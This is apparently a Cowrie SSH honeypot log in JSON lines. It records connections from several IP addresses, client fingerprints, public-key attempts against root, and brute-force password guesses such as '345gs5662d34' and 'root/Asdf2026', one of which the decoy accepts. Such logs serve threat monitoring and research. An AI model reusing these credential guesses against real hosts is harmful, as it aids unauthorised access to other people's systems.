{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:58.175100Z","src_ip":"124.156.196.131","session":"20f79b81a646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:58.412920Z","src_ip":"124.156.196.131","session":"20f79b81a646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:29:59.397694Z","src_ip":"124.156.196.131","session":"20f79b81a646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:00.638590Z","src_ip":"124.156.196.131","session":"20f79b81a646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":46272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1143c3593062","protocol":"ssh","message":"New connection: 124.156.196.131:46272 (159.203.135.109:22) [session: 1143c3593062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:00.879932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:00.889465Z","src_ip":"124.156.196.131","session":"1143c3593062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:01.135369Z","src_ip":"124.156.196.131","session":"1143c3593062","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:02.150157Z","src_ip":"124.156.196.131","session":"1143c3593062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:02.400270Z","src_ip":"124.156.196.131","session":"677b21b9bf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:02.406166Z","src_ip":"124.156.196.131","session":"1143c3593062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":41806,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ecffd86da5","protocol":"ssh","message":"New connection: 43.163.95.54:41806 (159.203.135.109:22) [session: 60ecffd86da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:50.257358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:50.262295Z","src_ip":"43.163.95.54","session":"60ecffd86da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:50.508889Z","src_ip":"43.163.95.54","session":"60ecffd86da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf2026","message":"login attempt [root/Asdf2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:51.525885Z","src_ip":"43.163.95.54","session":"60ecffd86da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:30:52.774768Z","src_ip":"43.163.95.54","session":"60ecffd86da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"b967f48a85f0","protocol":"ssh","message":"New connection: 148.135.70.18:55768 (10.17.0.5:22) [session: b967f48a85f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:07.996412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.001590Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.069980Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:c5:b3:5a:06:9d:57:7c:74:fb:c2:cd:7c:e3:4d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVm57ghrkNbnNZlzSXnGNArFU8of3iLPA0eNCat+KNDyQkjPq2uma64HgJvaZ93r0l0Iiy3I6MohndvBxLvu/4j9xezpO4R98p/5Gl/PdaweTKHf37qs7Dq4qYfUHPnutkkg52jjg4FRVMMTSNnLCW28ILZdseUyxAZ9UQPjnt3Smqjpwfzp+dLQaipSYpEgztIutKDV7kBKbt1INRq0LnwBocDt+N/O2ZjIYmUMqCATEbhGuUbq0X+cdYIrGhE9LS+kdNzAJNGYsr4+cDKwsSmcNYTczdKTU2NZzrR+hagRqlEuRC0yEd+fnjZTq9pP0DEthOdNfc/eSldgnbMhYr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:c5:b3:5a:06:9d:57:7c:74:fb:c2:cd:7c:e3:4d:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.388093Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:c5:b3:5a:06:9d:57:7c:74:fb:c2:cd:7c:e3:4d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVm57ghrkNbnNZlzSXnGNArFU8of3iLPA0eNCat+KNDyQkjPq2uma64HgJvaZ93r0l0Iiy3I6MohndvBxLvu/4j9xezpO4R98p/5Gl/PdaweTKHf37qs7Dq4qYfUHPnutkkg52jjg4FRVMMTSNnLCW28ILZdseUyxAZ9UQPjnt3Smqjpwfzp+dLQaipSYpEgztIutKDV7kBKbt1INRq0LnwBocDt+N/O2ZjIYmUMqCATEbhGuUbq0X+cdYIrGhE9LS+kdNzAJNGYsr4+cDKwsSmcNYTczdKTU2NZzrR+hagRqlEuRC0yEd+fnjZTq9pP0DEthOdNfc/eSldgnbMhYr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.392344Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:ed:3b:1e:3f:ce:bc:ed:29:6c:fc:ae:65:c1:11:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7QpqN/wr0sv9G6XwhqJj4jd8KFz0nAsIXo+AsMFVjmAsuHjFiiC9WnLk0qg3q/Hatkm6eUaR84eO5y/wUwv466v48BlkQpcNjyIFwgz1+W7yfwQTFmN8+1jq8BuXqJPzTr5UArijXrUYsqAZO7WBC0iMxMhqCtk/BWFhC4oCmDEk71YAF6418632l3/kt9li+z1eO3QjiNnH68YWtnZWyC3Fudx26NDsS289059KbHyA+qrOMGhvx5yDJREKcJ5Fo9kAXLtI6h/L62iEQIPrxNEtWgY0vdiImxaOxqfjHEORk2HzSTpO0Hpy92caGDPM/4xDAzR+PIDgq+qt+qVWN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:ed:3b:1e:3f:ce:bc:ed:29:6c:fc:ae:65:c1:11:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.461154Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:ed:3b:1e:3f:ce:bc:ed:29:6c:fc:ae:65:c1:11:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7QpqN/wr0sv9G6XwhqJj4jd8KFz0nAsIXo+AsMFVjmAsuHjFiiC9WnLk0qg3q/Hatkm6eUaR84eO5y/wUwv466v48BlkQpcNjyIFwgz1+W7yfwQTFmN8+1jq8BuXqJPzTr5UArijXrUYsqAZO7WBC0iMxMhqCtk/BWFhC4oCmDEk71YAF6418632l3/kt9li+z1eO3QjiNnH68YWtnZWyC3Fudx26NDsS289059KbHyA+qrOMGhvx5yDJREKcJ5Fo9kAXLtI6h/L62iEQIPrxNEtWgY0vdiImxaOxqfjHEORk2HzSTpO0Hpy92caGDPM/4xDAzR+PIDgq+qt+qVWN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.465008Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:a5:2a:7c:04:ef:e7:07:da:eb:63:69:ae:f0:7f:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRTOSLlCO/J9zMSH0tFmK952RodYyK3ZvIIUbomki7F4YcITXoLe94DdOJZgitmMnRRQjJ3NOSswJH05RSs6rr3K5sPU7ywDsH7xBZjmX7DSL3Q7IH1TlvnoR1+8rIrTLlyKIsJUvaLeGxGi04iBFprSI6QxwmJupgW9/i1Kya9ptsX4BVDQkm7Hpb7h8FcC3EfSMNomaS9EslQ7AqsI9eKUyup9RFq4mFOZWDYn0pMGxG9gfag8XP7EAwQDZlMZfzUmd6y7bvNb9lHAaUT8o3CDuoq6U9OcnyaPfqi/JN/lGH50c9AeD1tCnwbgZ/oTy3OEPCr5HV+dtIHCynpOE6d0UF/MaxuvcIp5v5LG/1nu3AsQ9wDY/r8wW39oaumEZXMntizmvic4Nyf//f1kqYL6CJTD0o5ZvlI1hbn1HgZOHy9ES7O6OysB/hyhO6KvC1JwIFdJlNHyij/f+cJz+WTbHIomNjbyhpHhA6kB3tWSj7yDQ0KTMz8EM5/HJOU1E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:a5:2a:7c:04:ef:e7:07:da:eb:63:69:ae:f0:7f:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.561321Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:a5:2a:7c:04:ef:e7:07:da:eb:63:69:ae:f0:7f:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRTOSLlCO/J9zMSH0tFmK952RodYyK3ZvIIUbomki7F4YcITXoLe94DdOJZgitmMnRRQjJ3NOSswJH05RSs6rr3K5sPU7ywDsH7xBZjmX7DSL3Q7IH1TlvnoR1+8rIrTLlyKIsJUvaLeGxGi04iBFprSI6QxwmJupgW9/i1Kya9ptsX4BVDQkm7Hpb7h8FcC3EfSMNomaS9EslQ7AqsI9eKUyup9RFq4mFOZWDYn0pMGxG9gfag8XP7EAwQDZlMZfzUmd6y7bvNb9lHAaUT8o3CDuoq6U9OcnyaPfqi/JN/lGH50c9AeD1tCnwbgZ/oTy3OEPCr5HV+dtIHCynpOE6d0UF/MaxuvcIp5v5LG/1nu3AsQ9wDY/r8wW39oaumEZXMntizmvic4Nyf//f1kqYL6CJTD0o5ZvlI1hbn1HgZOHy9ES7O6OysB/hyhO6KvC1JwIFdJlNHyij/f+cJz+WTbHIomNjbyhpHhA6kB3tWSj7yDQ0KTMz8EM5/HJOU1E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.567465Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:b5:0e:03:9b:7a:1e:a7:72:14:5b:a7:31:f6:f3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuJ4EPfp2oQ+gzDwXMwkByhxjj3LJbldxT+5P6ljhjviT3GK4dahFvcbSTvkqueL0a8Xdzf8/qxyUqnZajas84py8Kpea40ECi3Ys867RQFz46v72x/Hb11geg+4eORTxAPqIQU3OIWi5Tt5FzVwkZ2a2syFbaLTvwZNzLGnqdP46S+3wJhBE5KVhJYPpOaFeY9R8p9MNMu1PrfarEzdg4ga5Vy1YGyVqIu6ADf25tzoOkAPj1NxAy3RJCQLSVSCRBI/C3otJuPqgtAOoJxuhvaIMxvUmqc3g0BK22H3JnQAqkXRJpsCAvQL2/daEkxVW5L0kU+pwSVxjVB0tfKmX5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:b5:0e:03:9b:7a:1e:a7:72:14:5b:a7:31:f6:f3:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.635565Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:b5:0e:03:9b:7a:1e:a7:72:14:5b:a7:31:f6:f3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuJ4EPfp2oQ+gzDwXMwkByhxjj3LJbldxT+5P6ljhjviT3GK4dahFvcbSTvkqueL0a8Xdzf8/qxyUqnZajas84py8Kpea40ECi3Ys867RQFz46v72x/Hb11geg+4eORTxAPqIQU3OIWi5Tt5FzVwkZ2a2syFbaLTvwZNzLGnqdP46S+3wJhBE5KVhJYPpOaFeY9R8p9MNMu1PrfarEzdg4ga5Vy1YGyVqIu6ADf25tzoOkAPj1NxAy3RJCQLSVSCRBI/C3otJuPqgtAOoJxuhvaIMxvUmqc3g0BK22H3JnQAqkXRJpsCAvQL2/daEkxVW5L0kU+pwSVxjVB0tfKmX5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.639577Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:32:3d:c7:dc:35:c3:18:9b:91:42:8f:99:4a:2a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA0l3ahFt+OvEKKYcrYGPU42g1sC+z/h7KZ6iu97OBO73J0D0tn1WBUQjHxPutmdNv7A8RyGYm1xjz0zfrGRYtdR3Fc5bYFUSDp1VVaX6YvBFBfdLHPCmtYTLLhnU0PHV6+J0xnGYTaZeB5wllXQ29SoafM303gxIBESY3Lqq7bNgCdDUFMkhGPTfOYvCOBIzdzsPFRUSW5b8OANZ0aQ4IkHd8Y6S2aEhqVikbE96bWTynG2Zycz4p/I7Vf/HIHqqBYZ5mpttRe7lfRQdMmAxwot/k8cfIaiYrcBk27tDn2Ohj1+aVabJ0Z3+cHejd4c4IJ09RrOVUItGY2eEqGm1n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:32:3d:c7:dc:35:c3:18:9b:91:42:8f:99:4a:2a:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.709118Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:32:3d:c7:dc:35:c3:18:9b:91:42:8f:99:4a:2a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA0l3ahFt+OvEKKYcrYGPU42g1sC+z/h7KZ6iu97OBO73J0D0tn1WBUQjHxPutmdNv7A8RyGYm1xjz0zfrGRYtdR3Fc5bYFUSDp1VVaX6YvBFBfdLHPCmtYTLLhnU0PHV6+J0xnGYTaZeB5wllXQ29SoafM303gxIBESY3Lqq7bNgCdDUFMkhGPTfOYvCOBIzdzsPFRUSW5b8OANZ0aQ4IkHd8Y6S2aEhqVikbE96bWTynG2Zycz4p/I7Vf/HIHqqBYZ5mpttRe7lfRQdMmAxwot/k8cfIaiYrcBk27tDn2Ohj1+aVabJ0Z3+cHejd4c4IJ09RrOVUItGY2eEqGm1n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.712433Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:08.781317Z","src_ip":"148.135.70.18","session":"b967f48a85f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ab2fe255ec","protocol":"ssh","message":"New connection: 103.77.175.15:47986 (10.17.0.5:22) [session: a1ab2fe255ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:13.354772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:13.359288Z","src_ip":"103.77.175.15","session":"a1ab2fe255ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:13.622024Z","src_ip":"103.77.175.15","session":"a1ab2fe255ec","protocol":"ssh"}
